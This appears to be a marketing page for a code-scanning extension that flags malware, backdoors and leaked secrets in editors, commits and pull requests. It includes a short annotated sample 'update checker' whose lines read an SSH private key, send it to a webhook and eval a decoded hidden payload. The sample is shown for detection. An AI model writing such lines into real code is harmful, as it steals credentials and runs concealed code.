NEW IN 1.2 · ANY LANGUAGE · RESCANS AS YOU FIX · TEAM RULES

Every line. Every commit.
Every pull request.

Veyra Code Guard reads your code the way an attacker writes it, in any language. It catches trojans, backdoors, web shells, ransomware, typo-squatted packages and leaked keys, tells you exactly how to fix each one, rescans the moment you remove them, and writes the security report for you.

Get it for VS Code Add to GitHub

flightcoders.veyra-code-guard · v1.2.0 · Free · MIT · Windows, macOS, Linux

45attack patterns

77languages recognised

<3sto check 808 files

0bytes uploaded

update-check.jsGrade F

const https = require("https");
const fs = require("fs");
// Checks for a newer version of the CLI.
function checkForUpdates() {
const key = fs.readFileSync(home + "/.ssh/id_rsa");Reads your SSH key
https.request("discord.com/api/webhooks/…").end(key);Sends it to a webhook
eval(atob(process.env.UPDATE_PAYLOAD));Runs a hidden payload
}
const channel = "stable⟨U+202E⟩";Trojan Source character

A script that calls itself an “update checker”. Code Guard flags four lines in it, and explains each one.

FOUR LINES OF DEFENCE

Protection wherever code moves.

In your editor

Every file checked as you type, and rescanned the moment you remove malicious code, with a panel, a grade and quick fixes.

Before every commit

A pre-commit guard stops risky code before it leaves your machine.

On every pull request

Line comments, a grade and a failing check on GitHub.

In a PDF report

An audit-ready security report with every finding and its fix.

PDF SECURITY REPORT

The report writes itself.

One click turns a scan into a professional security report: ready for a client hand-over, a manager or an audit.

A grade from A to F and a score out of 100
Findings by severity and the top risks, at a glance
The code around every finding, with the line highlighted
Why it matters and how to fix it, for every finding
The method and every rule checked

A findings page of the report with code excerpts and how-to-fix guidance

The cover of a Code Guard security report with grade F, severity counts and the top risks

IN VS CODE

A security panel that never sleeps.

The Code Guard panel showing Grade F with findings grouped by severity — The Code Guard panel: the grade, every finding by severity, one click to jump to it.

A hover on a flagged line explaining why it matters and how to fix it — Hover any flagged line for what was found, why it matters and how to fix it.

ON GITHUB

A reviewer on every pull request.

Code Guard reads each line a pull request adds, comments on the exact lines, posts a grade and fails the check when it’s serious. It can also write the PDF report and send findings to your repository’s Security tab.

.github/workflows/code-guard.yml

name: Veyra Code Guard
on: pull_request
permissions:
  contents: read
  pull-requests: write
jobs:
  code-guard:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: fcopensource/veyraeditor/extensions/code-guard@main
        with:
          report-pdf: code-guard-report.pdf

veyra-code-guardrequested changes

42+ eval(atob(process.env.UPDATE_PAYLOAD));

🛑 Running decoded or obfuscated code (critical)

Decoding a hidden string and then executing it is the classic way malware hides its real behaviour from reviewers and scanners.

How to fix: decode the string and read what it really does. Replace eval with ordinary code.

Veyra Code GuardGrade D (70/100) · 1 critical

Terminal

$ git commit -m "Add update checker"

Veyra Code Guard  Staged changes · 1 file

  CRITICAL Running decoded or obfuscated code  src/update.js:9:3
           Decodes and runs hidden code: eval(atob
           Fix: Decode the string and read what it really does.

  Commit blocked. Fix the line above, or mark it as reviewed.
  To skip the check once: git commit --no-verify

PRE-COMMIT GUARD

Stopped before it’s committed.

Install the guard once with one command. Every commit, from VS Code, a terminal or any git app, is checked first. Only the lines you’re committing are read, so it’s instant, and it works alongside the hooks you already have.

WHAT IT CATCHES

45 tricks attackers actually use.

Hidden in plain sight7 rules

Trojan Source characters, invisible characters, look-alike letters, code pushed off-screen and text spelled out in character codes.

Hidden code being run6 rules

eval of decoded strings in PHP, Ruby, Perl, Lua, .NET and more, packed JavaScript, encoded PowerShell, and code downloaded at run time.

Backdoors8 rules

Web shells, reverse shells, download-and-run commands, crypto miners, persistence, backdoor logins and disabled defences.

Ransomware, wipers and spyware4 rules

Deleted backups and ransom notes, rm -rf / and disk wipers, keyloggers and clipboard crypto hijackers.

Native and macro malware5 rules

Shellcode, process injection, executable memory, Office macro droppers and databases running commands.

Stolen and leaked secrets6 rules

Code that reads SSH keys, wallets or browser passwords, sends data to webhooks, or commits API keys by mistake.

Supply-chain attacks7 rules

Typo-squatted packages, dependency confusion, poisoned install scripts, setup.py and build.rs code, URL and unpinned dependencies.

CI and workflow attacks2 rules

Untrusted text in GitHub workflows and pull_request_target jobs that run outsiders’ code.

WHY CODE GUARD

Made for what others miss.

Typical linterSecret scannerCode Guard

Leaked API keys

Trojan Source and invisible characters

Obfuscated code being run

Reverse shells, miners, persistence

Web shells, ransomware and keyloggers in any language

Rescans as soon as malicious code is removed

Typo-squatted packages

Explains how to fix every finding

Grade and PDF security report

Editor, pre-commit and pull request in one

Code Guard runs entirely on your computer or your own CI. Your code is never uploaded anywhere.

INSTALL

Ready in a minute.

In VS Code, open Extensions (Ctrl+Shift+X) and search for Veyra Code Guard, or open it on the Visual Studio Marketplace.
Click the shield in the Activity Bar and press Scan Whole Workspace.

Then try Create Security Report (PDF) and Install Pre-commit Guard from the same panel.

The gradeA clean
B · C things to review
D a critical finding
F act now

FAQ

Questions

Is it free?

Yes. Veyra Code Guard is free and MIT licensed, with no account and no telemetry, in VS Code, in git and on GitHub.

What is in the PDF report?

A cover with the grade, score and top risks; every finding with its location, the code around it, why it matters and how to fix it; and the method and rules used. It is ready to share with a client, a manager or an auditor.

How does the pre-commit guard work?

Run Install Pre-commit Guard once. Every git commit then checks only the lines you are committing and stops the commit if they add a high or critical finding. Skip it once with git commit --no-verify.

How do I add it to GitHub?

Add a workflow with actions/checkout and fcopensource/veyraeditor/extensions/code-guard. It reviews every pull request, and can also write the PDF report and send findings to the Security tab.

Which languages does it check?

All of them. Every text file is read line by line, and the rules cover the tricks used in JavaScript, TypeScript, Python, PHP, Java, C#, C and C++, Go, Rust, Ruby, Perl, Lua, PowerShell, shell scripts, batch files, SQL, VBA macros, Dockerfiles, GitHub workflows and package manifests. 77 languages are recognised by name and listed in the report.

What happens when I remove the malicious code?

The file is rescanned straight away and the warning disappears with the code. Every quick fix (delete the line, remove hidden characters) rescans and tells you what is left, and files changed by git or another program are rechecked too. On the command line, --watch does the same.

Can I add our own rules?

Yes. Put your patterns, ignored paths and severities in a .veyra-guard.json file in your project. VS Code, the command line, the pre-commit guard and the GitHub Action all use it.

Does it upload my code?

No. Everything runs on your computer, or on your own GitHub Actions runner.

Can it catch every attack?

No tool can. Code Guard recognises the patterns attackers use; use it alongside careful review and dependency audits, not instead of them.

More for VS Code: Auto Rename Tag Veyra, Todo Tree Veyra, Error Lens Veyra and Path IntelliSense Veyra. Or browse all 18 Veyra extensions.

Made by the Veyra team.

Veyra Studio is a fast, free code editor with Live Server, Python debugging and Veyra AI built in.

Download Veyra View on GitHub

Every line. Every commit.Every pull request.